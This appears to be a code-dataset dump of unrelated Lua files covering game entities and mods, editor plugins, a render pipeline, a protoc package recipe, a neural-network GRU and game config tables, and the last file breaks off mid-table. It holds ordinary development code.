content stringlengths 5 1.05M |
|---|
AddCSLuaFile( "cl_init.lua" )
AddCSLuaFile( "shared.lua" )
include('shared.lua')
include('schedules.lua')
include('tasks.lua')
-- Variables
ENT.m_fMaxYawSpeed = 200 -- Max turning speed
ENT.m_iClass = CLASS_CITIZEN_REBEL -- NPC Class
AccessorFunc( ENT, "m_iClass", "NPCClass" )
AccessorFunc( ENT, "m_fMaxYawSpeed", "MaxYawSpeed" )
--[[---------------------------------------------------------
Name: OnTakeDamage
Desc: Entity takes damage
-----------------------------------------------------------]]
function ENT:OnTakeDamage( dmginfo )
--[[
Msg( tostring(dmginfo) .. "\n" )
Msg( "Inflictor:\t" .. tostring(dmginfo:GetInflictor()) .. "\n" )
Msg( "Attacker:\t" .. tostring(dmginfo:GetAttacker()) .. "\n" )
Msg( "Damage:\t" .. tostring(dmginfo:GetDamage()) .. "\n" )
Msg( "Base Damage:\t" .. tostring(dmginfo:GetBaseDamage()) .. "\n" )
Msg( "Force:\t" .. tostring(dmginfo:GetDamageForce()) .. "\n" )
Msg( "Position:\t" .. tostring(dmginfo:GetDamagePosition()) .. "\n" )
Msg( "Reported Pos:\t" .. tostring(dmginfo:GetReportedPosition()) .. "\n" ) -- ??
--]]
return true
end
--[[---------------------------------------------------------
Name: Use
-----------------------------------------------------------]]
function ENT:Use( activator, caller, type, value )
end
--[[---------------------------------------------------------
Name: StartTouch
-----------------------------------------------------------]]
function ENT:StartTouch( entity )
end
--[[---------------------------------------------------------
Name: EndTouch
-----------------------------------------------------------]]
function ENT:EndTouch( entity )
end
--[[---------------------------------------------------------
Name: Touch
-----------------------------------------------------------]]
function ENT:Touch( entity )
end
--[[---------------------------------------------------------
Name: GetRelationship
Return the relationship between this NPC and the
passed entity. If you don't return anything then
the default disposition will be used.
-----------------------------------------------------------]]
function ENT:GetRelationship( entity )
--return D_NU;
end
--[[---------------------------------------------------------
Name: ExpressionFinished
Called when an expression has finished. Duh.
-----------------------------------------------------------]]
function ENT:ExpressionFinished( strExp )
end
--[[---------------------------------------------------------
Name: Think
-----------------------------------------------------------]]
function ENT:Think()
end
--[[---------------------------------------------------------
Name: GetAttackSpread
How good is the NPC with this weapon? Return the number
of degrees of inaccuracy for the NPC to use.
-----------------------------------------------------------]]
function ENT:GetAttackSpread( Weapon, Target )
return 0.1
end
|
local M = {}
-- Check if nvim-treesitter is available
-- (there would be a lot of copied code without this dependency)
local ok_parsers, ts_parsers = pcall(require, "nvim-treesitter.parsers")
if not ok_parsers then
ts_parsers = nil
end
local ok_utils, ts_utils = pcall(require, "nvim-treesitter.ts_utils")
if not ok_utils then
ts_utils = nil
end
function M.is_available()
return ok_parsers and ok_utils
end
local function get_ft_at_cursor()
local cur_node = ts_utils.get_node_at_cursor()
if cur_node then
local parser = ts_parsers.get_parser()
local lang = parser:language_for_range({ cur_node:range() }):lang()
if ts_parsers.list[lang] ~= nil then
-- UltiSnips expects a filetype; if filetype is not specified for a parser,
-- the filetype is the same as lang, so lang can be safely used
return ts_parsers.list[lang].filetype or lang
end
end
return nil
end
local cur_ft_at_cursor
function M.set_filetype()
local new_ft = get_ft_at_cursor()
if new_ft ~= nil and new_ft ~= cur_ft_at_cursor and new_ft ~= vim.bo.filetype then
vim.fn["cmp_nvim_ultisnips#set_filetype"](new_ft)
cur_ft_at_cursor = new_ft
end
end
function M.reset_filetype()
if cur_ft_at_cursor ~= nil then
vim.fn["cmp_nvim_ultisnips#reset_filetype"]()
cur_ft_at_cursor = nil
end
end
return M
|
--##
local util = require("factorio-plugin.util")
---@param uri string @ The uri of file
---@param text string @ The content of file
---@param diffs Diff[] @ The diffs to add more diffs to
local function replace(uri, text, diffs)
---@type string|number
for s_narrow, s_id, f_id
in
text:gmatch("()%-%-%-[^%S\n]*@narrow +()[a-zA-Z_][a-zA-Z0-9_]*()")
do
-- the ---@narrow gets completely replaced with blank space
-- which effectively removes the highlight of it being replaced with
-- a variable (like when you position your cursor on the identifier)
util.add_diff(diffs, s_narrow, s_id, string.rep(" ", s_id - s_narrow))
util.add_diff(diffs, f_id, f_id, "=nil---@type")
end
end
return {
replace = replace,
}
|
Fish = Enemy:extend("Fish")
-- lekkerOh
Fish:implement(Locator)
function Fish:new(...)
Fish.super.new(self, ...)
self:setImage("lekkeroh", 36)
self.anim:add("shy", "1>24")
self.anim:add("attack", "25>36")
self:addIgnoreOverlap(SolidTile)
self.floating = true
self.solid = 0
self.gravity = 0
self.speed = 100
self.jumpToKill = true
self.damaging = true
self.canBeKilled = false
end
function Fish:update(dt)
if not self.dead then
self:findTarget(Player, 700)
end
Fish.super.update(self, dt)
end
function Fish:draw()
Fish.super.draw(self)
end
function Fish:onFindingTarget(target)
self:lookAt(target)
if target:isLookingAt(self) then
if self.anim:is("attack") then
-- self.scene:playSFX(self.SFX.oh)
end
self.anim:set("shy")
self:stopMoving()
else
if self.anim:is("shy") then
-- self.scene:playSFX(self.SFX.scary)
end
self.anim:set("attack")
self:moveToEntity(target)
end
end |
package("protoc")
set_kind("binary")
set_homepage("https://developers.google.com/protocol-buffers/")
set_description("Google's data interchange format compiler")
if is_host("windows") then
if is_arch("x64") then
add_urls("https://github.com/protocolbuffers/protobuf/releases/download/v$(version)/protoc-$(version)-win64.zip")
add_versions("3.8.0", "ac07cd66824f93026a796482dc85fa89deaf5be1b0e459de9100cff2992e6905")
else
add_urls("https://github.com/protocolbuffers/protobuf/releases/download/v$(version)/protoc-$(version)-win32.zip")
add_versions("3.8.0", "93c5b7efe418b539896b2952ab005dd81fa418b76abee8c4341b4796b391999e")
end
elseif is_host("macosx") then
if is_arch("x86_64") then
add_urls("https://github.com/protocolbuffers/protobuf/releases/download/v$(version)/protoc-$(version)-osx-x86_64.zip")
add_versions("3.8.0", "8093a79ca6f22bd9b178cc457a3cf44945c088f162e237b075584f6851ca316c")
else
add_urls("https://github.com/protocolbuffers/protobuf/releases/download/v$(version)/protoc-$(version)-osx-x86_32.zip")
add_versions("3.8.0", "14376f58d19a7579c43ee95d9f87ed383391d695d4968107f02ed226c13448ae")
end
else
add_urls("https://github.com/protocolbuffers/protobuf/releases/download/v$(version)/protobuf-cpp-$(version).zip")
add_versions("3.8.0", "91ea92a8c37825bd502d96af9054064694899c5c7ecea21b8d11b1b5e7e993b5")
end
on_install("@windows", "@macosx", function (package)
os.cp("bin", package:installdir())
os.cp("include", package:installdir())
end)
on_install("@linux", function (package)
import("package.tools.autoconf").install(package, {"--enable-shared=no", "--enable-static=no"})
end)
on_test(function (package)
io.writefile("test.proto", [[
syntax = "proto3";
package test;
message TestCase {
string name = 4;
}
message Test {
repeated TestCase case = 1;
}
]])
os.vrun("protoc test.proto --cpp_out=.")
end)
|
object_tangible_scout_trap_trap_ap_kaminoandart = object_tangible_scout_trap_shared_trap_ap_kaminoandart:new {
}
ObjectTemplates:addTemplate(object_tangible_scout_trap_trap_ap_kaminoandart, "object/tangible/scout/trap/trap_ap_kaminoandart.iff")
|
local module = {}
local lua_script_type = Engine.getComponentType("lua_script")
module.particles_enabled = true
module.clouds_enabled = true
module.render_gizmos = true
module.blur_shadowmap = true
module.render_shadowmap_debug = false
module.render_shadowmap_debug_fullsize = false
function doPostprocess(pipeline, this_env, slot, camera_slot)
local scene_renderer = Renderer.getPipelineScene(pipeline)
local universe = Engine.getSceneUniverse(scene_renderer)
local scene_lua_script = Engine.getScene(universe, "lua_script")
local camera_cmp = Renderer.getCameraInSlot(scene_renderer, camera_slot)
if camera_cmp < 0 then return end
local camera_entity = Renderer.getCameraEntity(scene_renderer, camera_cmp)
local script_cmp = Engine.getComponent(universe, camera_entity, lua_script_type)
if script_cmp < 0 then return end
local script_count = LuaScript.getScriptCount(scene_lua_script, script_cmp)
for i = 1, script_count do
local env = LuaScript.getEnvironment(scene_lua_script, script_cmp, i - 1)
if env ~= nil then
if env._IS_POSTPROCESS_INITIALIZED == nil and env.initPostprocess ~= nil then
env.initPostprocess(pipeline, this_env)
env._IS_POSTPROCESS_INITIALIZED = true
end
if env.postprocess ~= nil and (env._postprocess_slot == slot or (env._postprocess_slot == nil and slot == "main")) then
env.postprocess(pipeline, this_env, slot)
end
end
end
end
function module.renderEditorIcons(ctx)
if module.render_gizmos then
newView(ctx.pipeline, "editor", 0xFFFFffffFFFFffff)
bindFramebufferTexture(ctx.pipeline, ctx.main_framebuffer, 1, ctx.depth_buffer_uniform)
setPass(ctx.pipeline, "EDITOR")
setFramebuffer(ctx.pipeline, "default")
enableDepthWrite(ctx.pipeline)
enableBlending(ctx.pipeline, "alpha")
applyCamera(ctx.pipeline, "editor")
renderIcons(ctx.pipeline)
end
end
function module.renderGizmo(ctx)
if module.render_gizmos then
newView(ctx.pipeline, "gizmo")
setPass(ctx.pipeline, "EDITOR")
setFramebuffer(ctx.pipeline, "default")
applyCamera(ctx.pipeline, "editor")
renderGizmos(ctx.pipeline)
end
end
function module.shadowmapDebug(ctx, x, y)
if module.render_shadowmap_debug then
newView(ctx.pipeline, "shadowmap_debug")
setPass(ctx.pipeline, "MAIN")
setFramebuffer(ctx.pipeline, "default")
bindFramebufferTexture(ctx.pipeline, "shadowmap", 0, ctx.texture_uniform)
drawQuad(ctx.pipeline, 0.01 + x, 0.01 + y, 0.23, 0.23, ctx.screen_space_material)
end
if module.render_shadowmap_debug_fullsize then
newView(ctx.pipeline, "shadowmap_debug_fullsize")
setPass(ctx.pipeline, "MAIN")
setFramebuffer(ctx.pipeline, "default")
bindFramebufferTexture(ctx.pipeline, "shadowmap", 0, ctx.texture_uniform)
drawQuad(ctx.pipeline, 0, 0, 1, 1, ctx.screen_space_material)
end
end
function module.initShadowmap(ctx)
addFramebuffer(ctx.pipeline, "shadowmap_blur", {
width = 2048,
height = 2048,
renderbuffers = {
{ format = "r32f" }
}
})
addFramebuffer(ctx.pipeline, "shadowmap", {
width = 2048,
height = 2048,
renderbuffers = {
{format="r32f"},
{format = "depth24"}
}
})
addFramebuffer(ctx.pipeline, "point_light_shadowmap", {
width = 1024,
height = 1024,
renderbuffers = {
{format = "depth24"}
}
})
addFramebuffer(ctx.pipeline, "point_light2_shadowmap", {
width = 1024,
height = 1024,
renderbuffers = {
{format = "depth24"}
}
})
ctx.shadowmap_uniform = createUniform(ctx.pipeline, "u_texShadowmap")
module.blur_shadowmap = true
module.render_shadowmap_debug = false
end
function module.init(ctx)
ctx.screen_space_material = Engine.loadResource(g_engine, "pipelines/screenspace/screenspace.mat", "material")
ctx.screen_space_debug_material = Engine.loadResource(g_engine, "pipelines/screenspace/screenspace_debug.mat", "material")
ctx.texture_uniform = createUniform(ctx.pipeline, "u_texture")
ctx.blur_material = Engine.loadResource(g_engine, "pipelines/common/blur.mat", "material")
ctx.depth_buffer_uniform = createUniform(ctx.pipeline, "u_depthBuffer")
ctx.multiplier_uniform = createUniform(ctx.pipeline, "u_multiplier")
end
function module.shadowmap(ctx, camera_slot, layer_mask)
newView(ctx.pipeline, "shadow0", layer_mask)
setPass(ctx.pipeline, "SHADOW")
applyCamera(ctx.pipeline, camera_slot)
setFramebuffer(ctx.pipeline, "shadowmap")
renderShadowmap(ctx.pipeline, 0)
newView(ctx.pipeline, "shadow1", layer_mask)
setPass(ctx.pipeline, "SHADOW")
applyCamera(ctx.pipeline, camera_slot)
setFramebuffer(ctx.pipeline, "shadowmap")
renderShadowmap(ctx.pipeline, 1)
newView(ctx.pipeline, "shadow2", layer_mask)
setPass(ctx.pipeline, "SHADOW")
applyCamera(ctx.pipeline, camera_slot)
setFramebuffer(ctx.pipeline, "shadowmap")
renderShadowmap(ctx.pipeline, 2)
newView(ctx.pipeline, "shadow3", layer_mask)
setPass(ctx.pipeline, "SHADOW")
applyCamera(ctx.pipeline, camera_slot)
setFramebuffer(ctx.pipeline, "shadowmap")
renderShadowmap(ctx.pipeline, 3)
renderLocalLightsShadowmaps(ctx.pipeline, camera_slot, { "point_light_shadowmap", "point_light2_shadowmap" })
if module.blur_shadowmap then
newView(ctx.pipeline, "blur_shadowmap_h")
setPass(ctx.pipeline, "BLUR_H")
setFramebuffer(ctx.pipeline, "shadowmap_blur")
disableDepthWrite(ctx.pipeline)
bindFramebufferTexture(ctx.pipeline, "shadowmap", 0, ctx.shadowmap_uniform)
drawQuad(ctx.pipeline, 0, 0, 1, 1, ctx.blur_material)
enableDepthWrite(ctx.pipeline)
newView(ctx.pipeline, "blur_shadowmap_v")
setPass(ctx.pipeline, "BLUR_V")
setFramebuffer(ctx.pipeline, "shadowmap")
disableDepthWrite(ctx.pipeline)
bindFramebufferTexture(ctx.pipeline, "shadowmap_blur", 0, ctx.shadowmap_uniform)
drawQuad(ctx.pipeline, 0, 0, 1, 1, ctx.blur_material);
enableDepthWrite(ctx.pipeline)
end
end
function module.particles(ctx, camera_slot)
if module.particles_enabled then
newView(ctx.pipeline, "particles")
setPass(ctx.pipeline, "PARTICLES")
disableDepthWrite(ctx.pipeline)
applyCamera(ctx.pipeline, camera_slot)
bindFramebufferTexture(ctx.pipeline, "g_buffer", 3, ctx.depth_buffer_uniform)
setActiveGlobalLightUniforms(ctx.pipeline)
renderParticles(ctx.pipeline)
end
end
function module.clouds(ctx, camera_slot)
if module.clouds_enabled then
newView(ctx.pipeline, "clouds")
setPass(ctx.pipeline, "CLOUDS")
disableDepthWrite(ctx.pipeline)
applyCamera(ctx.pipeline, camera_slot)
bindFramebufferTexture(ctx.pipeline, "g_buffer", 3, ctx.depth_buffer_uniform)
setActiveGlobalLightUniforms(ctx.pipeline)
renderClouds(g_scene_LumixCloudSystem, ctx.pipeline)
end
end
return module
|
--[[
Project: SA Memory (Available from https://blast.hk/)
Developers: LUCHARE, FYP
Special thanks:
plugin-sdk (https://github.com/DK22Pac/plugin-sdk) for the structures and addresses.
Copyright (c) 2018 BlastHack.
]]
require 'SAMemory.game.vector3d'
require 'SAMemory.game.RenderWare'
local mt = require 'SAMemory.metatype'
local ffi = require 'ffi'
ffi.cdef[[
typedef struct matrix3x3
{
vector3d right;
unsigned int flags;
vector3d up;
unsigned int pad1;
vector3d at;
unsigned int pad2;
vector3d pos;
unsigned int pad3;
RwMatrix *pAttachMatrix;
bool bOwnsAttachedMatrix;
} matrix;
]]
local matrix = {
Attach = ffi.cast('void ( __thiscall * )( void *, RwMatrix *, bool )', 0x59BD10);
Detach = ffi.cast('void ( __thiscall * )( void * )', 0x59ACF0);
Update = ffi.cast('void ( __thiscall * )( void * )', 0x59BB60);
UpdateRWWithAttached = ffi.cast('void ( __thiscall * )( void * )', 0x59BBB0);
ResetOrientation = ffi.cast('void ( __thiscall * )( void * )', 0x59AEA0);
SetRotateXOnly = ffi.cast('void ( __thiscall * )( void *, float )', 0x59AFA0);
SetRotateYOnly = ffi.cast('void ( __thiscall * )( void *, float )', 0x59AFE0);
SetRotateZOnly = ffi.cast('void ( __thiscall * )( void *, float )', 0x59B020);
SetRotateX = ffi.cast('void ( __thiscall * )( void *, float )', 0x59B060);
SetRotateY = ffi.cast('void ( __thiscall * )( void *, float )', 0x59B0A0);
SetRotateZ = ffi.cast('void ( __thiscall * )( void *, float )', 0x59B0E0);
SetRotate = ffi.cast('void ( __thiscall * )( void *, float, float, float )', 0x59B120);
RotateX = ffi.cast('void ( __thiscall * )( void *, float )', 0x59B1E0);
RotateY = ffi.cast('void ( __thiscall * )( void *, float )', 0x59B2C0);
RotateZ = ffi.cast('void ( __thiscall * )( void *, float )', 0x59B390);
Rotate = ffi.cast('void ( __thiscall * )( void *, float, float, float )', 0x59B460);
}
mt.provide_access('matrix', matrix, true, false)
|
local t = require(script.Parent.Packages.t)
local types = {}
types.Message = t.interface({
id = t.string,
userId = t.string,
text = t.string,
createdAt = t.number,
responses = t.array(t.string),
parentId = t.optional(t.string),
})
return types
|
local Utility = {};
local McpFeature = require("AdituV.DetectTrap.Utility.McpFeature");
local Strings = require("AdituV.DetectTrap.Strings");
local Strings_en = require("AdituV.DetectTrap.Strings_en");
-- Miscellaneous functions
Utility.checkCodePatchFeature = function(featureId)
local featureId = featureId:lower();
if not tes3.hasCodePatchFeature(McpFeature[featureId]) then
Utility.Log.error("missingMcpFeatureError", featureId);
end
end
Utility.checkMwseBuildDate = function(datestamp)
if (mwse.buildDate == nil) or (mwse.buildDate < datestamp) then
Utility.Log.warn("mwseOutOfDate");
end
end
Utility.coerceBool = function(x)
return x and true or false;
end
-- Generates a logistic function (<https://en.wikipedia.org/wiki/Logistic_function>)
-- with the given parameters:
-- minV: the y-coordinate of the lower asymptote
-- maxV: the y-coordinate of the upper asymptote
-- steepness: the steepness of the curve
-- midpoint: the x-coordinate of the curve's midpoint
Utility.mkLogistic = function (minV, maxV, steepness, midpoint)
return (function (x)
return minV + (maxV - minV) / (1 + math.exp(-1 * steepness * (x - midpoint)));
end);
end
-- Logging functions
local logRaw = function(message)
mwse.log("[Detect Trap] " .. message);
end
local debug = function(message, ...)
message = "DEBUG: " .. string.format(message, ...);
logRaw(message);
end
local info = function(msgId, ...)
local message = "INFO: " .. string.format(Strings_en[msgId], ...);
logRaw(message);
end
local warn = function(msgId, ...)
local message = string.format(Strings[msgId], ...);
local message_en = "WARN: " .. string.format(Strings_en[msgId], ...);
logRaw(message_en);
tes3.messageBox(message);
end
local error = function(msgId, ...)
local message = string.format(Strings[msgId], ...);
local message_en = "ERROR: " .. string.format(Strings_en[msgId], ...);
logRaw(message_en);
tes3.messageBox({
message = message,
buttons = { Strings.ok }
});
end
Utility.Log = {
debug = debug,
info = info,
warn = warn,
error = error,
};
return Utility; |
local BidirectionalGRU = {}
function BidirectionalGRU.rnn(nstep, avg, emb_dim)
if avg == nil then
avg = 0
end
if emb_dim == nil then
emb_dim = 256
end
local inputs = {}
for n = 1,nstep do
table.insert(inputs, nn.Identity()())
end
-- gates for update
local i2h_update_fwd = {}
local h2h_update_fwd = {}
local i2h_update_rev = {}
local h2h_update_rev = {}
-- gates for reset
local i2h_reset_fwd = {}
local h2h_reset_fwd = {}
local i2h_reset_rev = {}
local h2h_reset_rev = {}
-- candidate hidden state
local i2h_fwd = {}
local h2h_fwd = {}
local i2h_rev = {}
local h2h_rev = {}
-- actual hidden state
local hids_fwd = {}
local hids_rev = {}
-- forward GRU
for i,v in ipairs(inputs) do
i2h_update_fwd[i] = nn.Sequential()
i2h_update_fwd[i]:add(nn.Linear(emb_dim,emb_dim))
i2h_reset_fwd[i] = nn.Sequential()
i2h_reset_fwd[i]:add(nn.Linear(emb_dim,emb_dim))
i2h_fwd[i] = nn.Sequential()
i2h_fwd[i]:add(nn.Linear(emb_dim,emb_dim))
if i > 1 then
i2h_update_fwd[i]:share(i2h_update_fwd[1],'weight', 'bias', 'gradWeight', 'gradBias')
i2h_reset_fwd[i]:share(i2h_reset_fwd[1],'weight', 'bias', 'gradWeight', 'gradBias')
i2h_fwd[i]:share(i2h_fwd[1], 'weight', 'bias', 'gradWeight', 'gradBias')
h2h_update_fwd[i-1] = nn.Sequential()
h2h_update_fwd[i-1]:add(nn.Linear(emb_dim,emb_dim))
h2h_reset_fwd[i-1] = nn.Sequential()
h2h_reset_fwd[i-1]:add(nn.Linear(emb_dim,emb_dim))
h2h_fwd[i-1] = nn.Sequential()
h2h_fwd[i-1]:add(nn.Linear(emb_dim,emb_dim))
if i > 2 then
h2h_update_fwd[i-1]:share(h2h_update_fwd[i-2],'weight', 'bias', 'gradWeight', 'gradBias')
h2h_reset_fwd[i-1]:share(h2h_reset_fwd[i-2],'weight', 'bias', 'gradWeight', 'gradBias')
h2h_fwd[i-1]:share(h2h_fwd[i-2],'weight', 'bias', 'gradWeight', 'gradBias')
end
-- compute update and reset gates.
local update = nn.Sigmoid()(nn.CAddTable()(
{i2h_update_fwd[i](inputs[i]), h2h_update_fwd[i-1](hids_fwd[i-1])}))
local reset = nn.Sigmoid()(nn.CAddTable()(
{i2h_reset_fwd[i](inputs[i]), h2h_reset_fwd[i-1](hids_fwd[i-1])}))
-- compute candidate hidden state.
local gated_hidden = nn.CMulTable()({reset, hids_fwd[i-1]})
local p1 = i2h_fwd[i](inputs[i])
local p2 = h2h_fwd[i-1](gated_hidden)
local hidden_cand = nn.Tanh()(nn.CAddTable()({p1, p2}))
-- use gates to interpolate hidden state.
local zh = nn.CMulTable()({update, hidden_cand})
local zhm1 = nn.CMulTable()({nn.AddConstant(1,false)(nn.MulConstant(-1,false)(update)), hids_fwd[i-1]})
hids_fwd[i] = nn.CAddTable()({zh, zhm1})
else
hids_fwd[i] = nn.Tanh()(i2h_fwd[i](inputs[i]))
end
end
for i,v in ipairs(inputs) do
local ix = #inputs - i + 1
i2h_update_rev[i] = nn.Sequential()
i2h_update_rev[i]:add(nn.Linear(emb_dim,emb_dim))
i2h_reset_rev[i] = nn.Sequential()
i2h_reset_rev[i]:add(nn.Linear(emb_dim,emb_dim))
i2h_rev[i] = nn.Sequential()
i2h_rev[i]:add(nn.Linear(emb_dim,emb_dim))
if i > 1 then
i2h_update_rev[i]:share(i2h_update_rev[1],'weight', 'bias', 'gradWeight', 'gradBias')
i2h_reset_rev[i]:share(i2h_reset_rev[1],'weight', 'bias', 'gradWeight', 'gradBias')
i2h_rev[i]:share(i2h_rev[1], 'weight', 'bias', 'gradWeight', 'gradBias')
h2h_update_rev[i-1] = nn.Sequential()
h2h_update_rev[i-1]:add(nn.Linear(emb_dim,emb_dim))
h2h_reset_rev[i-1] = nn.Sequential()
h2h_reset_rev[i-1]:add(nn.Linear(emb_dim,emb_dim))
h2h_rev[i-1] = nn.Sequential()
h2h_rev[i-1]:add(nn.Linear(emb_dim,emb_dim))
if i > 2 then
h2h_update_rev[i-1]:share(h2h_update_rev[i-2],'weight', 'bias', 'gradWeight', 'gradBias')
h2h_reset_rev[i-1]:share(h2h_reset_rev[i-2],'weight', 'bias', 'gradWeight', 'gradBias')
h2h_rev[i-1]:share(h2h_rev[i-2],'weight', 'bias', 'gradWeight', 'gradBias')
end
-- compute update and reset gates.
local update = nn.Sigmoid()(nn.CAddTable()(
{i2h_update_rev[i](inputs[ix]), h2h_update_rev[i-1](hids_rev[i-1])}))
local reset = nn.Sigmoid()(nn.CAddTable()(
{i2h_reset_rev[i](inputs[ix]), h2h_reset_rev[i-1](hids_rev[i-1])}))
-- compute candidate hidden state.
local gated_hidden = nn.CMulTable()({reset, hids_rev[i-1]})
local p1 = i2h_rev[i](inputs[ix])
local p2 = h2h_rev[i-1](gated_hidden)
local hidden_cand = nn.Tanh()(nn.CAddTable()({p1, p2}))
-- use gates to interpolate hidden state.
local zh = nn.CMulTable()({update, hidden_cand})
local zhm1 = nn.CMulTable()({nn.AddConstant(1,false)(nn.MulConstant(-1,false)(update)), hids_rev[i-1]})
hids_rev[i] = nn.CAddTable()({zh, zhm1})
else
hids_rev[i] = nn.Tanh()(i2h_rev[i](inputs[ix]))
end
end
local hid
local projL = {}
local projR = {}
local combiner = {}
for i = 1,nstep do
projL[i] = nn.Sequential()
projL[i]:add(nn.Linear(emb_dim,emb_dim))
projR[i] = nn.Sequential()
projR[i]:add(nn.Linear(emb_dim,emb_dim))
combiner[i] = nn.Sequential()
combiner[i]:add(nn.Linear(emb_dim,emb_dim))
if i > 1 then
projL[i]:share(projL[i-1], 'weight', 'bias', 'gradWeight', 'gradBias')
projR[i]:share(projR[i-1], 'weight', 'bias', 'gradWeight', 'gradBias')
combiner[i]:share(combiner[i-1], 'weight', 'bias', 'gradWeight', 'gradBias')
end
-- combine fwd and reverse directions.
local hidL = projL[i](hids_fwd[i])
local hidR = projR[i](hids_rev[i])
local cur_hid = combiner[i](nn.ReLU()(nn.CAddTable()({hidL, hidR})))
if i == 1 then
hid = cur_hid
else
hid = nn.CAddTable()({hid, cur_hid})
end
end
hid = nn.MulConstant(1./nstep)(hid)
local outputs = {}
table.insert(outputs, hid)
return nn.gModule(inputs, outputs)
end
return BidirectionalGRU
|
include( "contentsidebartoolbox.lua" )
local pnlSearch = vgui.RegisterFile( "contentsearch.lua" )
local PANEL = {}
function PANEL:Init()
self.Tree = vgui.Create( "DTree", self )
self.Tree:SetClickOnDragHover( true )
self.Tree.OnNodeSelected = function( Tree, Node ) hook.Call( "ContentSidebarSelection", GAMEMODE, self:GetParent(), Node ) end
self.Tree:Dock( FILL )
self.Tree:SetBackgroundColor( Color( 240, 240, 240, 255 ) )
self:SetPaintBackground( false )
end
function PANEL:EnableSearch( stype, hookname )
self.Search = vgui.CreateFromTable( pnlSearch, self )
self.Search:SetSearchType( stype, hookname or "PopulateContent" )
end
function PANEL:EnableModify()
self:EnableSearch()
self:CreateSaveNotification()
self.Toolbox = vgui.Create( "ContentSidebarToolbox", self )
hook.Add( "OpenToolbox", "OpenToolbox", function()
if ( !IsValid( self.Toolbox ) ) then return end
self.Toolbox:Open()
end )
end
function PANEL:CreateSaveNotification()
local SavePanel = vgui.Create( "Panel", self )
SavePanel:Dock( TOP )
SavePanel:SetVisible( false )
SavePanel:DockMargin( 8, 1, 8, 4 )
local SaveButton = vgui.Create( "DButton", SavePanel )
SaveButton:Dock( FILL )
SaveButton:SetIcon( "icon16/disk.png" )
SaveButton:SetText( "#spawnmenu.savechanges" )
SaveButton.DoClick = function()
SavePanel:SlideUp( 0.2 )
hook.Run( "OnSaveSpawnlist" )
end
local RevertButton = vgui.Create( "DButton", SavePanel )
RevertButton:Dock( RIGHT )
RevertButton:SetIcon( "icon16/arrow_rotate_clockwise.png" )
RevertButton:SetText( "" )
RevertButton:SetTooltip( "#spawnmenu.revert_tooptip" )
RevertButton:SetWide( 26 )
RevertButton:DockMargin( 4, 0, 0, 0 )
RevertButton.DoClick = function()
SavePanel:SlideUp( 0.2 )
hook.Run( "OnRevertSpawnlist" )
end
hook.Add( "SpawnlistContentChanged", "ShowSaveButton", function()
if ( SavePanel:IsVisible() ) then return end
SavePanel:SlideDown( 0.2 )
GAMEMODE:AddHint( "EditingSpawnlistsSave", 5 )
end )
end
vgui.Register( "ContentSidebar", PANEL, "DPanel" )
|
local files = require 'files'
local fsu = require 'fs-utility'
local furi = require 'file-uri'
local diag = require 'provider.diagnostic'
local config = require 'config'
files.removeAll()
fsu.scanDirectory(ROOT, function (path)
if path:extension():string() ~= '.lua' then
return
end
local uri = furi.encode(path:string())
local text = fsu.loadFile(path)
files.setText(uri, text)
files.open(uri)
end)
config.config.diagnostics.disable['undefined-field'] = true
config.config.diagnostics.disable['redundant-parameter'] = true
diag.start()
local clock = os.clock()
for uri in files.eachFile() do
diag.doDiagnostic(uri)
end
local passed = os.clock() - clock
print('基准全量诊断用时:', passed)
|
local android = premake.extensions.android
android.properties = {}
local properties = android.properties
--
-- Generate project.properties
--
function properties.generate(prj)
_p(0, 'target=$(androidapilevel)')
end |
-- @Author:pandayu
-- @Version:1.0
-- @DateTime:2018-09-09
-- @Project:pandaCardServer CardGame
-- @Contact: QQ:815099602
local _M = function(role,data)
local pass = role.resource:can_inspire(data.pos,data.num)
if not pass then return 2602 end
local cost = role.resource:get_inspire_cost(data.pos,data.num)
local en,diamond,cost = role:check_resource_num(cost)
if not en then return 100 end
role:consume_resource(cost)
local num = role.resource:set_inspire()
return 0,{num =num}
end
return _M
|
-- id int 打击点组ID
-- HitPointSet tableString[k:#1(string)|v:#table(hitnum=#2(int),hitmove=#3(int),damageratio=#4(int),powerratio=#5(int),soundhit=#6(string),effecthit=#7(string),freezedelay=#8(int),freezetarget=#9(int),freezeself=#10(int)),hitcameraeffect=#11(int))] 打击点配置
return {
[10001] = {
id = 10001,
HitPointSet = {
attack_Attack_1 = {
hitnum = 1,
hitmove = 1500,
damageratio = 1500,
powerratio = 1500,
soundhit = "GunCommonL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Attack_2 = {
hitnum = 2,
hitmove = 1500,
damageratio = 1500,
powerratio = 1500,
soundhit = "GunCommonL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Attack_3 = {
hitnum = 11,
hitmove = 5000,
damageratio = 1500,
powerratio = 1500,
soundhit = "GunCommonM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Attack_4 = {
hitnum = 2,
hitmove = 1000,
damageratio = 500,
powerratio = 500,
soundhit = "GunCommonL_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Attack_4_1 = {
hitnum = 11,
hitmove = 4000,
damageratio = 500,
powerratio = 500,
soundhit = "ShockCommonM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Attack_5 = {
hitnum = 21,
hitmove = 20000,
damageratio = 2500,
powerratio = 2500,
soundhit = "GunCommonH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill_1 = {
hitnum = 1,
hitmove = 3000,
damageratio = 2000,
powerratio = 0,
soundhit = "PunchCommonM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill_1_1 = {
hitnum = 12,
hitmove = 20000,
damageratio = 4000,
powerratio = 0,
soundhit = "GunCommonM_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill_2 = {
hitnum = 21,
hitmove = 0,
damageratio = 10000,
powerratio = 0,
soundhit = "GunCommonH_Hit",
effecthit = "0",
freezedelay = 0,
freezetarget = 0,
freezeself = 0,
hitcameraeffect = 0,
},
attack_Skill_3 = {
hitnum = 1,
hitmove = 2000,
damageratio = 400,
powerratio = 0,
soundhit = "PunchCommonM_Hit",
effecthit = "0",
